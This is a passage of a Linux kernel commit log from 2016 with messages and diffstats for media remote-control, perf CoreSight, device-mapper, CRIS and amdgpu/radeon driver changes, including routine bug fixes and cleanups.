platform_device_del() on error Add the missing platform_device_del() before return from lirc_parallel_init() in the error handling case. Signed-off-by: Wei Yongjun drivers/staging/media/lirc/lirc_parallel.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 4a86bc1008e7202b49ccb59f52d7a6be9311ef7d Author: Abylay Ospan Date: Tue Jul 19 00:10:20 2016 -0300 [media] cxd2841er: freeze/unfreeze registers when reading stats ensure multiple separate register reads are from the same snapshot Signed-off-by: Abylay Ospan Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-frontends/cxd2841er.c | 52 +++++++++++++++++++++++++-------- 1 file changed, 40 insertions(+), 12 deletions(-) commit 859442bd3fcbe326a9c0174c6105c938eb101438 Author: Mathieu Poirier Date: Fri Sep 16 09:50:02 2016 -0600 perf pmu: Push configuration down to PMU driver This patch adds a PMU callback and the required mechanic so that drivers can process the command line configuration elements found in evsel::config_terms. Signed-off-by: Mathieu Poirier Acked-by: Jiri Olsa Cc: Alexander Shishkin Cc: Peter Zijlstra Cc: linux-arm-kernel@lists.infradead.org Link: http://lkml.kernel.org/r/1474041004-13956-6-git-send-email-mathieu.poirier@linaro.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/Build | 1 + tools/perf/util/drv_configs.c | 77 +++++++++++++++++++++++++++++++++++++++++++ tools/perf/util/drv_configs.h | 26 +++++++++++++++ tools/perf/util/pmu.h | 2 ++ 4 files changed, 106 insertions(+) commit a818c563ae16640e00389a39e7b0e7ae4bd3d64c Author: Mathieu Poirier Date: Fri Sep 16 09:50:00 2016 -0600 perf tools: Add coresight etm PMU record capabilities Coresight ETMs are IP blocks used to perform HW assisted tracing on a CPU core. This patch introduce the required auxiliary API functions allowing the perf core to interact with a tracer. Signed-off-by: Mathieu Poirier Acked-by: Adrian Hunter Cc: Alexander Shishkin Cc: Jiri Olsa Cc: Peter Zijlstra Cc: linux-arm-kernel@lists.infradead.org Link: http://lkml.kernel.org/r/1474041004-13956-4-git-send-email-mathieu.poirier@linaro.org Signed-off-by: Arnaldo Carvalho de Melo MAINTAINERS | 4 + tools/perf/arch/arm/util/Build | 2 +- tools/perf/arch/arm/util/auxtrace.c | 54 ++++ tools/perf/arch/arm/util/cs-etm.c | 559 ++++++++++++++++++++++++++++++++++++ tools/perf/arch/arm/util/cs-etm.h | 23 ++ tools/perf/arch/arm64/util/Build | 4 +- tools/perf/util/auxtrace.c | 1 + tools/perf/util/auxtrace.h | 1 + tools/perf/util/cs-etm.h | 74 +++++ 9 files changed, 720 insertions(+), 2 deletions(-) commit 7e21b0d579a481e2e7064c6383d5873d841777a8 Author: Mathieu Poirier Date: Fri Sep 16 09:49:59 2016 -0600 perf tools: Make coresight PMU listable Adding the required mechanic allowing 'perf list pmu' to discover coresight ETM/PTM tracers. Signed-off-by: Mathieu Poirier Acked-by: Adrian Hunter Acked-by: Jiri Olsa Cc: Alexander Shishkin Cc: Peter Zijlstra Cc: linux-arm-kernel@lists.infradead.org Link: http://lkml.kernel.org/r/1474041004-13956-3-git-send-email-mathieu.poirier@linaro.org Signed-off-by: Arnaldo Carvalho de Melo MAINTAINERS | 1 + tools/perf/arch/arm/util/Build | 2 ++ tools/perf/arch/arm/util/pmu.c | 34 ++++++++++++++++++++++++++++++++++ tools/perf/arch/arm64/util/Build | 2 ++ 4 files changed, 39 insertions(+) commit 08d5204adbf845fadd936aae7639fc05d4eddee1 Author: Mathieu Poirier Date: Fri Sep 16 09:49:58 2016 -0600 perf tools: Confine __get_cpuid() to x86 architecture The __get_cpuid() test is only valid when compiling for x86. When compiling for other architectures like ARM/ARM64 the test fails event if the functionality is not required. This patch isolate the build-in feature check to x86 platform, allowing the compilation and usage of PMUs that use the AUXTRACE infrastructure on other architectures (i.e ARM CoreSight). Signed-off-by: Mathieu Poirier Acked-by: Adrian Hunter Acked-by: Jiri Olsa Cc: Alexander Shishkin Cc: Peter Zijlstra Cc: linux-arm-kernel@lists.infradead.org Link: http://lkml.kernel.org/r/1474041004-13956-2-git-send-email-mathieu.poirier@linaro.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/Makefile.config | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) commit 7cd326747f46ffe1c7bff5682e97dfbcb98990ec Author: Peter Zijlstra Date: Tue Sep 13 10:45:20 2016 +0200 dm bufio: remove dm_bufio_cond_resched() Use cond_resched() like everybody else. Mikulas explained why dm_bufio_cond_resched() was introduced to begin with (hopefully cond_resched can be improved accordingly) here: https://www.redhat.com/archives/dm-devel/2016-September/msg00112.html Cc: Ingo Molnar Cc: Mikulas Patocka Cc: Mike Snitzer Cc: Alasdair Kergon Acked-by: Thomas Gleixner Signed-off-by: Peter Zijlstra (Intel) Signed-off-by: Mike Snitzer # added last comment in header drivers/md/dm-bufio.c | 31 +++++++++---------------------- 1 file changed, 9 insertions(+), 22 deletions(-) commit f659b10087daaf4ce0087c3f6aec16746be9628f Author: Rabin Vincent Date: Wed Sep 21 16:22:29 2016 +0200 dm crypt: fix crash on exit As the documentation for kthread_stop() says, "if threadfn() may call do_exit() itself, the caller must ensure task_struct can't go away". dm-crypt does not ensure this and therefore crashes when crypt_dtr() calls kthread_stop(). The crash is trivially reproducible by adding a delay before the call to kthread_stop() and just opening and closing a dm-crypt device. general protection fault: 0000 [#1] PREEMPT SMP CPU: 0 PID: 533 Comm: cryptsetup Not tainted 4.8.0-rc7+ #7 task: ffff88003bd0df40 task.stack: ffff8800375b4000 RIP: 0010: kthread_stop+0x52/0x300 Call Trace: crypt_dtr+0x77/0x120 dm_table_destroy+0x6f/0x120 __dm_destroy+0x130/0x250 dm_destroy+0x13/0x20 dev_remove+0xe6/0x120 ? dev_suspend+0x250/0x250 ctl_ioctl+0x1fc/0x530 ? __lock_acquire+0x24f/0x1b10 dm_ctl_ioctl+0x13/0x20 do_vfs_ioctl+0x91/0x6a0 ? ____fput+0xe/0x10 ? entry_SYSCALL_64_fastpath+0x5/0xbd ? trace_hardirqs_on_caller+0x151/0x1e0 SyS_ioctl+0x41/0x70 entry_SYSCALL_64_fastpath+0x1f/0xbd This problem was introduced by bcbd94ff481e ("dm crypt: fix a possible hang due to race condition on exit"). Looking at the description of that patch (excerpted below), it seems like the problem it addresses can be solved by just using set_current_state instead of __set_current_state, since we obviously need the memory barrier. | dm crypt: fix a possible hang due to race condition on exit | | A kernel thread executes __set_current_state(TASK_INTERRUPTIBLE), | __add_wait_queue, spin_unlock_irq and then tests kthread_should_stop(). | It is possible that the processor reorders memory accesses so that | kthread_should_stop() is executed before __set_current_state(). If | such reordering happens, there is a possible race on thread | termination: [...] So this patch just reverts the aforementioned patch and changes the __set_current_state(TASK_INTERRUPTIBLE) to set_current_state(...). This fixes the crash and should also fix the potential hang. Fixes: bcbd94ff481e ("dm crypt: fix a possible hang due to race condition on exit") Cc: Mikulas Patocka Cc: stable@vger.kernel.org # v4.0+ Signed-off-by: Rabin Vincent Signed-off-by: Mike Snitzer drivers/md/dm-crypt.c | 24 ++++++++++-------------- 1 file changed, 10 insertions(+), 14 deletions(-) commit f177940a80917044f0ea6fd18ea1bfbdff012050 Author: Joe Thornber Date: Tue Sep 20 06:16:00 2016 -0400 dm cache metadata: switch to using the new cursor api for loading metadata This change offers a pretty significant performance improvement. Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer drivers/md/dm-cache-metadata.c | 103 ++++++++++++++++++++++++++++++++--------- 1 file changed, 80 insertions(+), 23 deletions(-) commit fdd1315aa5f022fe6574efdc2d9535f75a0ee255 Author: Joe Thornber Date: Thu Sep 15 11:11:42 2016 -0400 dm array: introduce cursor api More efficient way to iterate an array due to prefetching (makes use of the new dm_btree_cursor_* api). Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer drivers/md/persistent-data/dm-array.c | 86 +++++++++++++++++++++++++++++++++++ drivers/md/persistent-data/dm-array.h | 33 ++++++++++++++ 2 files changed, 119 insertions(+) commit 7d111c81fa29041c730010450618917fb05cab62 Author: Joe Thornber Date: Thu Sep 15 10:49:24 2016 -0400 dm btree: introduce cursor api This uses prefetching to speed up iteration through a btree. Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer drivers/md/persistent-data/dm-btree.c | 162 ++++++++++++++++++++++++++++++++++ drivers/md/persistent-data/dm-btree.h | 35 ++++++++ 2 files changed, 197 insertions(+) commit 9d1b404cbc3f990a4035dcf7ddd37adac2a99b3f Author: Joe Thornber Date: Thu Sep 15 09:36:24 2016 -0400 dm cache policy smq: distribute entries to random levels when switching to smq For smq the 32 bit 'hint' stores the multiqueue level that the entry should be stored in. If a different policy has been used previously, and then switched to smq, the hints will be invalid. In which case we used to put all entries in the bottom level of the multiqueue, and then redistribute. Redistribution is faster if we put entries with invalid hints in random levels initially. Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer drivers/md/dm-cache-policy-smq.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 4e781b498ee5008ede91362d91404a362e7a46b3 Author: Joe Thornber Date: Thu Sep 15 09:23:46 2016 -0400 dm cache: speed up writing of the hint array It's far quicker to always delete the hint array and recreate with dm_array_new() because we avoid the copying caused by mutation. Also simplifies the policy interface, replacing the walk_hints() with the simpler get_hint(). Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer drivers/md/dm-cache-metadata.c | 80 ++++++++++++----------------------- drivers/md/dm-cache-policy-cleaner.c | 2 +- drivers/md/dm-cache-policy-internal.h | 6 +-- drivers/md/dm-cache-policy-smq.c | 38 +++-------------- drivers/md/dm-cache-policy.h | 10 ++--- 5 files changed, 42 insertions(+), 94 deletions(-) commit dd6a77d99859ab963503e67372ed278fe8ceab26 Author: Joe Thornber Date: Thu Sep 15 08:45:44 2016 -0400 dm array: add dm_array_new() dm_array_new() creates a new, populated array more efficiently than starting with an empty one and resizing. Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer drivers/md/persistent-data/dm-array.c | 142 ++++++++++++++++++++++++++-------- drivers/md/persistent-data/dm-array.h | 19 +++++ 2 files changed, 130 insertions(+), 31 deletions(-) commit b536fd587044af02183b3c02690431b93154f0fa Author: Christoph Hellwig Date: Thu Sep 22 07:48:17 2016 -0700 timekeeping: Include the correct header for errno definitions asm-generic headers are only defaults for architectures. We need to get the proper defintion, which goes through and . Signed-off-by: Christoph Hellwig Cc: john.stultz@linaro.org Link: http://lkml.kernel.org/r/1474555697-8206-1-git-send-email-hch@lst.de Signed-off-by: Thomas Gleixner include/linux/timekeeping.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3aa601492babdf3acdec89e5aa9c44e1a357a4d8 Author: Jisheng Zhang Date: Thu Sep 22 15:56:21 2016 +0800 clocksource/drivers/ti-32k: Prevent ftrace recursion Currently ti-32k can be used as a scheduler clock. We properly marked omap_32k_read_sched_clock() as notrace but we then call another function ti_32k_read_cycles() that _wasn't_ notrace. Having a traceable function in the sched_clock() path leads to a recursion within ftrace and a kernel crash. Fix this by adding notrace attribute to the ti_32k_read_cycles() function. Signed-off-by: Jisheng Zhang Cc: daniel.lezcano@linaro.org Cc: linux-arm-kernel@lists.infradead.org Cc: Steven Rostedt Link: http://lkml.kernel.org/r/20160922075621.3725-1-jszhang@marvell.com Signed-off-by: Thomas Gleixner drivers/clocksource/timer-ti-32k.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2ceeca0499d745213306ecd785af17adb2321b6a Author: Sean Young Date: Wed Sep 21 06:54:19 2016 -0300 [media] rc: split nec protocol into its three variants Currently we do not know what variant (bit length) of the nec protocol is used, other than from guessing from the length of the scancode. Now nec will be handled the same way as the sony protocol or the rc6 protocol; one variant per bit length. In the future we might want to expose the rc protocol type to userspace and we don't want to be introducing this world of pain into userspace too. Signed-off-by: Sean Young Signed-off-by: Mauro Carvalho Chehab drivers/media/pci/cx23885/cx23885-input.c | 2 +- drivers/media/pci/cx88/cx88-input.c | 5 +++-- drivers/media/pci/saa7134/saa7134-input.c | 4 ++-- drivers/media/rc/igorplugusb.c | 3 ++- drivers/media/rc/img-ir/img-ir-nec.c | 6 ++++-- drivers/media/rc/ir-nec-decoder.c | 8 ++++++-- drivers/media/rc/rc-main.c | 4 +++- drivers/media/usb/au0828/au0828-input.c | 3 ++- drivers/media/usb/dvb-usb-v2/af9015.c | 8 ++++++-- drivers/media/usb/dvb-usb-v2/af9035.c | 9 +++++++-- drivers/media/usb/dvb-usb-v2/az6007.c | 13 +++++++++---- drivers/media/usb/dvb-usb-v2/lmedm04.c | 5 +++-- drivers/media/usb/dvb-usb-v2/rtl28xxu.c | 9 +++++++-- drivers/media/usb/dvb-usb/dib0700_core.c | 4 +++- drivers/media/usb/dvb-usb/dtt200u.c | 5 ++++- include/media/rc-map.h | 31 +++++++++++++++++++------------ 16 files changed, 81 insertions(+), 38 deletions(-) commit 4c241d3c7bd628df7e84712046e9c130d48cae21 Author: Niklas Cassel Date: Thu Sep 22 16:44:57 2016 +0200 cris: use generic io.h fixes the warning: lib/iomap.c: In function ‘ioread8_rep’: ./arch/cris/include/asm/io.h:139:31: warning: statement with no effect [-Wunused-value] #define insb(port,addr,count) (cris_iops ? cris_iops->read_io(port,addr,1,count) : 0) ^ lib/iomap.c:56:3: note: in definition of macro ‘IO_COND’ is_pio; \ ^ lib/iomap.c:197:16: note: in expansion of macro ‘insb’ IO_COND(addr, insb(port,dst,count), mmio_insb(addr, dst, count)); ^ cris_iops was previously set to NULL (no matter if CONFIG_PCI was set or not), but was removed in commit ab28e96fd1cf ("CRIS v32: remove old GPIO and LEDs code"). Before commit ab28e96fd1cf ("CRIS v32: remove old GPIO and LEDs code"), cris_iops could have been set from an external module, since it was exported, but as commit c24bf9b4cc6a ("CRIS: fix I/O macros") noted, the macros using cris_iops have been broken since first included, so they could never have worked. Because of this, instead of readding cris_iops, remove all special handling of cris_iops. By doing so, we can rely on the default implementation of almost all functions previously defined in our arch specific io.h. Signed-off-by: Niklas Cassel Signed-off-by: Jesper Nilsson arch/cris/include/asm/io.h | 171 +-------------------------------------------- 1 file changed, 1 insertion(+), 170 deletions(-) commit 00bb820755ed8ee996f076f193d2eadbfba50a2e Author: Sean Young Date: Mon Sep 19 19:21:23 2016 -0300 [media] rc: Hauppauge z8f0811 can decode RC6 The hardware does not decode the 16, 20 or 24 bit variety. Signed-off-by: Sean Young Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/ir-kbd-i2c.c | 90 ++++++++++++++++++---------- drivers/media/pci/cx18/cx18-i2c.c | 3 +- drivers/media/pci/cx88/cx88-input.c | 3 +- drivers/media/pci/ivtv/ivtv-i2c.c | 3 +- drivers/media/usb/hdpvr/hdpvr-i2c.c | 2 +- drivers/media/usb/pvrusb2/pvrusb2-i2c-core.c | 3 +- 6 files changed, 69 insertions(+), 35 deletions(-) commit 2765262f7b005a11d6c7abb3c06ea9fdd09712bd Author: Niklas Cassel Date: Thu Sep 22 16:43:17 2016 +0200 cris: fix Kconfig mismatch when building with CONFIG_PCI I/O port access. Normally there is no I/O space on CRIS but when Cardbus/PCI is enabled the request is passed through the bridge. lib/pci_iomap.c: In function ‘pci_iomap_range’: lib/pci_iomap.c:43:3: error: implicit declaration of function ‘ioport_map’ [-Werror=implicit-function-declaration] return __pci_ioport_map(dev, start, len); ^ Signed-off-by: Niklas Cassel Signed-off-by: Jesper Nilsson arch/cris/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d6094cedecea679447270fcef5db2dfabb08ad65 Author: Niklas Cassel Date: Thu Sep 22 16:42:30 2016 +0200 cris: cardbus: fix header include path arch/cris/arch-v32/drivers/pci/bios.c:3:35: fatal error: arch/hwregs/intr_vect.h: No such file or directory #include ^ Signed-off-by: Niklas Cassel Signed-off-by: Jesper Nilsson arch/cris/arch-v32/drivers/pci/bios.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e998c92d6c70851cdc931a0ab5b6d4b554015955 Author: Sean Young Date: Mon Sep 19 19:21:22 2016 -0300 [media] rc: rc6 decoder should report protocol correctly When reporting decoded protocol use the enum rather than the bitmap. Signed-off-by: Sean Young Signed-off-by: Mauro Carvalho Chehab drivers/media/rc/ir-rc6-decoder.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 7daa7709c0d7a74c6b36443c65b0a22e45308b59 Author: Niklas Cassel Date: Thu Sep 22 16:41:20 2016 +0200 cris: add dev88_defconfig It is not possible to netboot a dev88 using etraxfs_defconfig, since etraxfs_defconfig does not set CONFIG_ETRAX_MEM_GRP*_CONFIG or CONFIG_ETRAX_SDRAM_GRP*_CONFIG, and the default values does not work. This new defconfig has correct memory configuration values, points out the correct DTB to build in (CONFIG_BUILTIN_DTB="dev88"), enables the serial driver (CONFIG_SERIAL_ETRAXFS) and the GPIO driver (CONFIG_GPIO_ETRAXFS), and enables LEDS. Signed-off-by: Niklas Cassel Signed-off-by: Jesper Nilsson arch/cris/configs/dev88_defconfig | 49 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) commit 6db0168821fa4edc3156d36933da0016740a5e03 Author: Heiner Kallweit Date: Tue Aug 2 02:45:51 2016 -0300 [media] media: rc: nuvoton: simplify nvt_get_rx_ir_data a little Simplify the code a little. Signed-off-by: Heiner Kallweit Signed-off-by: Mauro Carvalho Chehab drivers/media/rc/nuvoton-cir.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) commit a2006ca43266d5e069e9020f8dde2846631db9ea Author: Heiner Kallweit Date: Tue Aug 2 02:45:30 2016 -0300 [media] media: rc: nuvoton: remove unneeded call to ir_raw_event_handle ir_raw_event_handle is called anyway after the hw fifo content stored in nvt->buf[] has been written to the kfifo. There is not really a benefit in the potential additional call to ir_raw_event_handle whilst nvt->buf[] is being processed. Getting rid of this additional call allows to simplify the code. Signed-off-by: Heiner Kallweit Signed-off-by: Mauro Carvalho Chehab drivers/media/rc/nuvoton-cir.c | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) commit 2b03bf732488a3c2e920afe22c03b82cb8477e28 Author: Laura Garcia Liebana Date: Tue Sep 13 13:49:53 2016 +0200 netfilter: nft_numgen: add number generation offset Add support of an offset value for incremental counter and random. With this option the sysadmin is able to start the counter to a certain value and then apply the generated number. Example: meta mark set numgen inc mod 2 offset 100 This will generate marks with the serie 100, 101, 100, 101, ... Suggested-by: Pablo Neira Ayuso Signed-off-by: Laura Garcia Liebana Signed-off-by: Pablo Neira Ayuso include/uapi/linux/netfilter/nf_tables.h | 2 ++ net/netfilter/nft_numgen.c | 32 ++++++++++++++++++++++++++------ 2 files changed, 28 insertions(+), 6 deletions(-) commit 735598477f386d05af018e8708aa9e71f1ae163e Author: Alex Deucher Date: Wed Sep 14 14:15:34 2016 -0400 drm/radeon/atif: Send a hotplug event when we get dgpu display request On PX systems, if the platform supports hotplug events ATIF while the dGPU is powered down, handle the event and alert userspace. Signed-off-by: Alex Deucher drivers/gpu/drm/radeon/radeon_acpi.c | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) commit 4777166989dee66a5050ce77d0ea37832ed330d7 Author: Alex Deucher Date: Wed Sep 14 14:14:55 2016 -0400 drm/radeon/atpx: check for ATIF dGPU wake for display events support Some ATPX laptops implement special circuitry to generate display hotplug events via ACPI when the dGPU is powered off. Check if this is supported. Signed-off-by: Alex Deucher drivers/gpu/drm/radeon/radeon_atpx_handler.c | 5 +++++ 1 file changed, 5 insertions(+) commit 1b0f568d24cb7d750e99c48a6dab6e3246507fef Author: Alex Deucher Date: Wed Sep 14 14:04:29 2016 -0400 drm/amdgpu/atif: Send a hotplug event when we get dgpu display request On PX systems, if the platform supports hotplug events ATIF while the dGPU is powered down, handle the event and alert userspace. Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_acpi.c | 11 +++++++++++ 1 file changed, 11 insertions(+) commit efc83cf423df99bd6c1899cf0b65897f1ee75751 Author: Alex Deucher Date: Wed Sep 14 14:01:41 2016 -0400 drm/amdgpu/atpx: check for ATIF dGPU wake for display events support Some ATPX laptops implement special circuitry to generate display hotplug events via ACPI when the dGPU is powered off. Check if this is supported. Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 2 ++ drivers/gpu/drm/amd/amdgpu/amdgpu_atpx_handler.c | 9 +++++++++ 2 files changed, 11 insertions(+) commit 75e52ba125702608809726c1884046117631d0fe Author: Niklas Cassel Date: Thu Sep 22 16:21:13 2016 +0200 cris: irq: stop loop from accessing array out of bounds array "interrupt" only has 32 or 64 elements, depending on machine. arch/cris/arch-v32/kernel/irq.c: In function ‘init_IRQ’: arch/cris/arch-v32/kernel/irq.c:475:3: warning: iteration 32u invokes undefined behavior [-Waggressive-loop-optimizations] set_exception_vector(i, interrupt[j]); ^ arch/cris/arch-v32/kernel/irq.c:474:2: note: containing loop for (i = FIRST_IRQ, j = 0; j < NBR_INTR_VECT; i++, j++) { ^ Signed-off-by: Niklas Cassel Signed-off-by: Jesper Nilsson arch/cris/arch-v32/kernel/irq.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit d355bcb0d82835db142db3c469541c98d5d9091c Author: Niklas Cassel Date: Thu Sep 22 16:12:48 2016 +0200 cris: fasttimer: fix mixed declarations and code compile warning arch/cris/arch-v32/kernel/fasttimer.c: In function ‘timer_trig_handler’: arch/cris/arch-v32/kernel/fasttimer.c:353:2: warning: ISO C90 forbids mixed declarations and code [-Wdeclaration-after-statement] fast_timer_function_type *f; ^ Signed-off-by: Niklas Cassel Signed-off-by: Jesper Nilsson arch/cris/arch-v32/kernel/fasttimer.c | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) commit 9cee3c1f95298fb98bbec9e8410d4da64a271fe5 Author: Alex Deucher Date: Wed Sep 21 18:04:50 2016 -0400 drm/amdgpu: bump version for new vce packet support Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_drv.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit bacf8351f23cfdccb0cd252e3df0f82871896f9a Author: Heiner Kallweit Date: Tue Aug 2 02:44:44 2016 -0300 [media] media: rc: nuvoton: remove usage of b_idx in nvt_get_rx_ir_data The call to nvt_get_rx_ir_data and nvt_process_rx_ir_data from the ISR is protected with spinlock nvt->lock. Therefore it's guaranteed that nvt->pkts is 0 when entering nvt_get_rx_ir_data (as nvt->pkts is set to 0 at the end of nvt_process_rx_ir_data). Having said that we can remove b_idx. Signed-off-by: Heiner Kallweit Signed-off-by: Mauro Carvalho Chehab drivers/media/rc/nuvoton-cir.c | 13 ++----------- 1 file changed, 2 insertions(+), 11 deletions(-) commit 4f827785404f20ad7ca11c5d2d7832630514a280 Author: Alex Deucher Date: Wed Sep 21 14:57:06 2016 -0400 drm/amdgpu/vce: allow the clock table packet This packet allows the user mode driver to specify the required performance for specific use cases. Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_vce.c | 1 + 1 file changed, 1 insertion(+) commit ceeb50ed77dc34265c4362855f6a59338b124605 Author: Monk Liu Date: Mon Sep 19 12:13:58 2016 +0800 drm/amdgpu:cleanup virt related define move virtual machine related structure to amdgpu_virt.h easy for developer to maintain for virualization stuffs Signed-off-by: Monk Liu Acked-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 32 +----------------- drivers/gpu/drm/amd/amdgpu/amdgpu_virt.h | 57 ++++++++++++++++++++++++++++++++ 2 files changed, 58 insertions(+), 31 deletions(-) commit 9487dd1548d600161485ee5528cec36ccff96edd Author: Rex Zhu Date: Mon Sep 19 15:44:50 2016 +0800 drm/amdgpu: use powerplay module for dgpu in Vi. delete non-pp code and files. It was just a temporary solution and not support dynamic power management. Signed-off-by: Rex Zhu Acked-by: Edward O'Callaghan Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/Makefile | 5 +- drivers/gpu/drm/amd/amdgpu/amdgpu_powerplay.c | 13 +- drivers/gpu/drm/amd/amdgpu/fiji_dpm.c | 186 ------ drivers/gpu/drm/amd/amdgpu/fiji_smc.c | 863 -------------------------- drivers/gpu/drm/amd/amdgpu/fiji_smum.h | 42 -- drivers/gpu/drm/amd/amdgpu/iceland_dpm.c | 200 ------ drivers/gpu/drm/amd/amdgpu/iceland_smc.c | 677 -------------------- drivers/gpu/drm/amd/amdgpu/iceland_smum.h | 41 -- drivers/gpu/drm/amd/amdgpu/tonga_dpm.c | 186 ------ drivers/gpu/drm/amd/amdgpu/tonga_smc.c | 862 ------------------------- drivers/gpu/drm/amd/amdgpu/tonga_smum.h | 42 -- drivers/gpu/drm/amd/amdgpu/vi.c | 3 + 12 files changed, 6 insertions(+), 3114 deletions(-) commit a8ca34136453b5a570b514e466f8b0b9efd71df2 Author: Rex Zhu Date: Sun Sep 18 16:55:00 2016 +0800 drm/amdgpu: set gfx clock gating for tonga/polaris. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v8_0.c | 77 +++++++++++++++++++++++++++++++++++ 1 file changed, 77 insertions(+) commit 1bb08f91b0f6b2dd24a1a5bf42875258647ee285 Author: Rex Zhu Date: Sun Sep 18 16:54:00 2016 +0800 drm/amdgpu: set system clock gating for tonga/polaris. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vi.c | 61 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 61 insertions(+) commit 465f96e21365c3df7b992692393834e984db306c Author: Rex Zhu Date: Sun Sep 18 16:52:03 2016 +0800 drm/amd/powerplay: export function to help to set cg by smu. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/amd_powerplay.c | 77 +---------------------- drivers/gpu/drm/amd/powerplay/inc/amd_powerplay.h | 2 + 2 files changed, 5 insertions(+), 74 deletions(-) commit 664a08bb906bd946a4c3963d5f92518e5ff19bd8 Author: Colin Ian King Date: Tue Sep 20 16:49:31 2016 +0100 drm/amdgpu: avoid out of bounds access on array interrupt_status_offsets The check for an out of bound index into array interrupt_status_offsets is off-by-one. Fix this and also don't compared to a hard coded array size but use adev->mode_info.num_hpd instead. Signed-off-by: Colin Ian King Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/dce_v6_0.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4d446656fabb308ae2171e95a624a0367dcd34d2 Author: Baoyou Xie Date: Sun Sep 18 22:09:35 2016 +0800 drm/amdgpu: mark symbols static where possible We get 7 warnings when building kernel with W=1: drivers/gpu/drm/amd/amdgpu/amdgpu_device.c:1990:5: warning: no previous prototype for 'amdgpu_pre_soft_reset' [-Wmissing-prototypes] drivers/gpu/drm/amd/amdgpu/amdgpu_connectors.c:1548:5: warning: no previous prototype for 'amdgpu_connector_virtual_dpms' [-Wmissing-prototypes] drivers/gpu/drm/amd/amdgpu/amdgpu_connectors.c:1560:5: warning: no previous prototype for 'amdgpu_connector_virtual_set_property' [-Wmissing-prototypes] drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c:330:5: warning: no previous prototype for 'amdgpu_cs_list_validate' [-Wmissing-prototypes] drivers/gpu/drm/amd/amdgpu/dce_virtual.c:98:6: warning: no previous prototype for 'dce_virtual_stop_mc_access' [-Wmissing-prototypes] drivers/gpu/drm/amd/amdgpu/dce_virtual.c:130:6: warning: no previous prototype for 'dce_virtual_resume_mc_access' [-Wmissing-prototypes] drivers/gpu/drm/amd/amdgpu/dce_virtual.c:136:6: warning: no previous prototype for 'dce_virtual_set_vga_render_state' [-Wmissing-prototypes] In fact, all of the functions are only used in the file in which they are declared and don't need a declaration, but can be made static. So this patch marks both functions with 'static'. Reviewed-by: Christian König Signed-off-by: Baoyou Xie Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_connectors.c | 6 ++++-- drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 2 +- drivers/gpu/drm/amd/amdgpu/dce_virtual.c | 6 +++--- 3 files changed, 8 insertions(+), 6 deletions(-) commit fa675329fc79dc2f657811b26f17e7bd6f1b9837 Author: Baoyou Xie Date: Sun Sep 18 22:13:19 2016 +0800 drm/amdgpu: remove unused functions We get 2 warnings when building kernel with W=1: drivers/gpu/drm/amd/amdgpu/amdgpu_amdkfd.c:146:5: warning: no previous prototype for 'pool_to_domain' [-Wmissing-prototypes] drivers/gpu/drm/amd/amdgpu/cz_smc.c:104:5: warning: no previous prototype for 'cz_send_msg_to_smc_with_parameter_async' [-Wmissing-prototypes] In fact, both functions are called by no one and not exported, so this patch removes them. Reviewed-by: Christian König Signed-off-by: Baoyou Xie Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_amdkfd.c | 8 -------- drivers/gpu/drm/amd/amdgpu/cz_smc.c | 7 ------- 2 files changed, 15 deletions(-) commit 3de4ec57271a1979b5d960d8610939fff7dc38f9 Author: Tom St Denis Date: Mon Sep 19 12:48:52 2016 -0400 drm/amd/powerplay: Replace per-asic print_performance with generic Replace per-asic print_current_performance() functions with generic that calls read_sensor. Tested on Tonga and Carrizo for aesthetics and accuracy. Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 10 +-- drivers/gpu/drm/amd/amdgpu/amdgpu_pm.c | 62 +++++++++++++++++- drivers/gpu/drm/amd/powerplay/amd_powerplay.c | 23 ------- drivers/gpu/drm/amd/powerplay/hwmgr/cz_hwmgr.c | 79 